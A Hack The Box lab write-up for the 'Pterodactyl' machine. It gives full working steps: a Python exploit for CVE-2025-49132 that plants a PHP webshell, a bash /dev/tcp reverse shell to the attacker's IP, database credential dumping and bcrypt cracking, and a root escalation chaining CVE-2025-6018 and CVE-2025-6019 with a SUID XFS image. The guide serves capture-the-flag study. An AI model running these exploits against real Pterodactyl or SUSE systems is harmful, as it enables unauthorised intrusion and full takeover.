Pterodactyl HTB Labs
Table of Contents
Enumeration
Nmap scan returned:
~/htb/lab/pterodactyl ✓ $ cat harvest/pterodactyl.htb/services.nmap
# Nmap 7.98 scan initiated Wed Mar 4 02:24:54 2026 as: nmap -p 22,80,443,8080, -sC -sV -Pn -oA harvest/pterodactyl.htb/services pterodactyl.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: My Minecraft Server
443/tcp closed https
8080/tcp closed http-proxy
gobuster found a subdomain panel
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
panel.pterodactyl.htb Status: 200 [Size: 1897]
panel.pterodactyl.htb hosts a Pterodactyl instance, which is a CMS for game servers. It is vulnerable to the CVE-2025-49132.
On pterodactyl.htb page theres a link to the changelog.txt: http://pterodactyl.htb/changelog.txt
Interesting things mentioned:
- PHP FPM enabled on all domains
- PHP-PEAR package management enabled which may come in handy for priv escalation
- MariaDB version 11.8.3, which has RCE in mariadb-dump interaction CVE-2025-13699 (unexplored lead, left here as a note)
Exploitation
CVE-2025-49132 - Execute arbitrary code using locales/locale.json
Testing out a simple payload to trigger unauthenticated RCE:
Success! This version of pterodactyl is vulnerable.
Dumped MariaDB Credentials are:
- username: pterodactyl
- password: PteraPanel
- port: 3306
The only problem is, that port 3306 is closed. Lets skip this for now, and bounce back later with more info. Lets try to trigger RCE now. The plan is to use 'config+create' to create a file with PHP code and put it in the web root directory, which i simply got by testing random paths to trigger 500 server error.
import requests
import subprocess
base_url = "http://panel.pterodactyl.htb/locales/locale.json?"
payload_create = "+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/var/www/pterodactyl/public/payload.php"
def create_php_payload():
result = subprocess.run(
['curl', '-g', '-s', base_url + payload_create],
capture_output=True, text=True
)
print("[CREATE]")
print(result.stdout[:500])
def execute_php_payload():
resp = requests.get("http://panel.pterodactyl.htb/payload.php")
print("[EXECUTE]", resp.status_code)
print(resp.text)
if __name__ == "__main__":
create_php_payload()
execute_php_payload()
And we got RCE confirmed:
~/htb/lab/pterodactyl ✓ $ python locale-exploit.py
[CREATE]
CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels auto_discover <not set>
Default Channel default_channel pear.php.net
HTTP Proxy Server Address http_proxy <not set>
PEAR server [DEPRECATED] master_server <not set>
Default Channel Mirror preferred_mirror <not set>
Remote Configuration File remote_config <not set>
PEAR executables directory bin_dir /&locale=../../../../../.
[EXECUTE] 200
#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:90:"/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/php";s:8:"data_dir";s:91:"/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&uid=474(wwwrun) gid=477(www) groups=477(www)
Exploit - Remote Shell
Lets start our netcat listener on port 4444:
~/htb/lab/pterodactyl ✓ $ nc -lvnp 4444
Next, proper exploit to get a remote shell.
import requests
import subprocess
base_url = "http://panel.pterodactyl.htb/locales/locale.json?"
LHOST = "10.10.15.145"
LPORT = "4444"
payload_create = f"+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system($_GET['cmd'])?>+/var/www/pterodactyl/public/payload.php"
def create_php_payload():
result = subprocess.run(
['curl', '-g', '-s', base_url + payload_create],
capture_output=True, text=True
)
print("[CREATE]")
print(result.stdout[:200])
def execute_cmd(cmd):
resp = requests.get("http://panel.pterodactyl.htb/payload.php", params={"cmd": cmd})
print("[EXECUTE]", resp.status_code)
print(resp.text[:500])
if __name__ == "__main__":
create_php_payload()
# start nc -lvnp 4444 first
execute_cmd(f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
Check our netcat listener:
~/htb/lab/pterodactyl ✓ $ nc -lvnp 4444
Connection from 10.129.9.108:49260
bash: cannot set terminal process group (1210): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public> id
id
uid=474(wwwrun) gid=477(www) groups=477(www)
Snooping around i found user.txt flag:
wwwrun@pterodactyl:/var/www/pterodactyl/public> ls -las /home/phileasfogg3
ls -las /home/phileasfogg3
total 24
0 drwxr-xr-x 1 phileasfogg3 users 156 Dec 31 17:29 .
0 drwxr-xr-x 1 root root 46 Nov 7 18:41 ..
4 lrwxrwxrwx 1 root root 9 Dec 31 17:29 .bash_history -> /dev/null
4 -rw-r--r-- 1 phileasfogg3 users 1177 Aug 22 2024 .bashrc
0 drwx------ 1 phileasfogg3 users 0 Mar 15 2022 .cache
0 drwx------ 1 phileasfogg3 users 0 Mar 15 2022 .config
4 -rw-r--r-- 1 phileasfogg3 users 1637 Apr 9 2018 .emacs
0 drwxr-xr-x 1 phileasfogg3 users 0 Mar 15 2022 .fonts
4 -rw-r--r-- 1 phileasfogg3 users 861 Apr 9 2018 .inputrc
0 drwx------ 1 phileasfogg3 users 0 Mar 15 2022 .local
4 -rw-r--r-- 1 phileasfogg3 users 1028 Aug 22 2024 .profile
0 drwxr-xr-x 1 phileasfogg3 users 0 Mar 15 2022 bin
4 -rw-r--r-- 1 root root 33 Mar 4 03:11 user.txt
wwwrun@pterodactyl:/var/www/pterodactyl/public> cat /home/phileasfogg3/user.txt
8abbe9431dd1afc129c7552b7c41f1b4
Also db credentials, and the rest from the pterodactyl box .env file:
> cat /var/www/pterodactyl/.env
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
CACHE_DRIVER=redis
QUEUE_CONNECTION=redis
SESSION_DRIVER=redis
HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
HASHIDS_LENGTH=8
Lets dump users now:
wwwrun@pterodactyl:/var/www/pterodactyl/public> mariadb -u pterodactyl -pPteraPanel -h 127.0.0.1 panel -e "SELECT email,password FROM users;"
email password
[email protected] $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
[email protected] $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
Cracking user hashes
Those dumped hashes are of the bcrypt type, in order to crack them with hydra, we need to put both of the hashes into hash.txt file ( or whatever name you choose). Also, supply the mode '-m 3200' to hydra, which is used for cracking bcrypt.
~/htb/lab/pterodactyl ✗255 $ hashcat -m 3200 hashes.txt /opt/seclists/Passwords/Leaked-Databases/rockyou-75.txt
hashcat (7.1.2) starting
Dictionary cache hit:
Filename..: /opt/seclists/Passwords/Leaked-Databases/rockyou-75.txt
Passwords.: 59186
Bytes.....: 478936
Keyspace..: 59186
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
...
And we got a hit. This is the SSH user phileasfogg3 password: !QAZ2wsx
~/htb/lab/pterodactyl ✗130 $ ssh [email protected]
phileasfogg3@pterodactyl:~> cat user.txt
8abbe9431dd1afc129c7552b7c41f1b4
Privilege Escalation - CVE-2025-6018/6019
After gaining a shell as the phileasfogg3, checking local mail revealed the following
message from the system administrator:
From: headmonitor headmonitor@pterodactyl Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert) Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required. Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.
The explicit mention of udisksd is a direct pointer/hint to the intended exploit path.
Step 1 — Verifying the Environment
- CVE-2025-6019:
libblockdev(used byudisks2) mounts XFS filesystems temporarily without thenosuidandnodevflags during resize operations, allowing a SUID-root binary to be executed from a user-controlled image.
Confirmed, the box runs openSUSE/SUSE 15 which ships with udisks2 vulnerable in linked CVE-2025-6019:
grep PRETTY_NAME /etc/os-release
# PRETTY_NAME="SUSE Linux Enterprise Server 15 SP6"
udisksctl dump | grep Version
# Version: 2.9.2
udisks2 2.9.2 is below the patched version (2.10.2 / 2.10.91), confirming
CVE-2025-6019 is present as well.
Step 2 - CVE-2025-6018: Spoofing a Physical Session
On SUSE 15, pam_env is called before pam_systemd in the PAM stack. This means
environment variables written to ~/.pam_environment are read by pam_env during
auth, and then consumed by pam_systemd during session setup.
By setting XDG_SEAT=seat0 and XDG_VTNR=1, we trick systemd-logind into
believing our SSH session is a physical console session — making us an
allow_active polkit user.
# Verify we are currently just a remote/challenge user
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# ('challenge',)
# Write the spoofed environment variables
{ echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > ~/.pam_environment
# Log out and SSH back in
exit
After reconnecting via SSH:
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# ('yes',)
We are now seen as a physical allow_active user by polkit.
The Vulnerability
When udisks2 is asked to resize an XFS filesystem that is not currently mounted,
libblockdev temporarily mounts it in /tmp/blockdev.* to run xfs_growfs. This
temporary mount is performed without the nosuid and nodev flags — meaning any
SUID binary inside the image will be honoured by the kernel when executed.
Creating the Malicious XFS Image
The image must be created on our(attacker) machine (requires root to mount and set SUID):
# On attack machine
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=300
mkfs.xfs /tmp/xfs.image
mkdir /tmp/xfs.mount
sudo mount -t xfs /tmp/xfs.image /tmp/xfs.mount
# Copy the TARGET's bash binary (must match the target's glibc)
scp [email protected]:/bin/bash /tmp/target_bash
sudo cp /tmp/target_bash /tmp/xfs.mount/rootbash
sudo chmod 04555 /tmp/xfs.mount/rootbash # Set SUID bit, owned by root
sudo umount /tmp/xfs.mount
# Transfer the image to the target
scp /tmp/xfs.image [email protected]:/tmp/xfs.image
Note: Using the local machine's bash caused a segfault on the target due to differing glibc versions. Always copy the binary from the target itself.
Triggering the Exploit
# Set up the loop device backed by our malicious XFS image
udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction
# Mapped file /tmp/xfs.image as /dev/loop3.
# Kill gvfs monitor to prevent it from auto-mounting and blocking us
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null
# Background watcher: execute rootbash as soon as it appears in /tmp/blockdev.*
while true; do /tmp/blockdev*/rootbash -p && break; done 2>/dev/null &
# Trigger the resize — libblockdev mounts the XFS image in /tmp/blockdev.* without nosuid
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop3 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
The "target is busy" error confirms the exploit worked and libblockdev mounted the
image, our background loop caught the SUID binary before unmount, and it ran.
Getting Root
ls -la /tmp/blockdev.*/rootbash
# -r-sr-xr-x 1 root root 1012656 ... /tmp/blockdev.GM6XL3/rootbash
/tmp/blockdev.GM6XL3/rootbash -p
# rootbash-4.4# id
# uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
cat /root/root.txt
# 39138cb2167a82973..redacted..